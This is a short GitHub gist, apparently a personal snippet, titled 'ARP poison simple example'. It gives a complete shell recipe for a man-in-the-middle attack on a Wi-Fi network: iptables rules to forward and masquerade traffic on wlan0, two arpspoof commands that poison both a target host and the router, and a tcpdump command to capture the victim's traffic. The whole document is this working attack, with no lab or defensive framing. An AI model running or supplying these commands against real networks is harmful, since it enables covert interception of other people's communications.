Skip to content

Instantly share code, notes, and snippets.

@jrelo
Created July 5, 2024 16:36
Show Gist options
  • Save jrelo/08de68cbace98f91142251d95daea2df to your computer and use it in GitHub Desktop.
Save jrelo/08de68cbace98f91142251d95daea2df to your computer and use it in GitHub Desktop.
ARP poison simple example
# clear existing rules
#sudo iptables -F
#sudo iptables -t nat -F
#sudo iptables -X
# allow forwarding for related and established connections
sudo iptables -A FORWARD -i wlan0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
# allow forwarding from wlan0 to wlan0 (both directions)
sudo iptables -A FORWARD -i wlan0 -o wlan0 -j ACCEPT
# set up NAT (optional)
sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
# terminal 1
sudo arpspoof -i wlan0 -t $targetip $routerip
# terminal 2
sudo arpspoof -i wlan0 -t $routerip $targetip
#terminal 3
sudo tcpdump -i wlan0 host $targetip -v
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment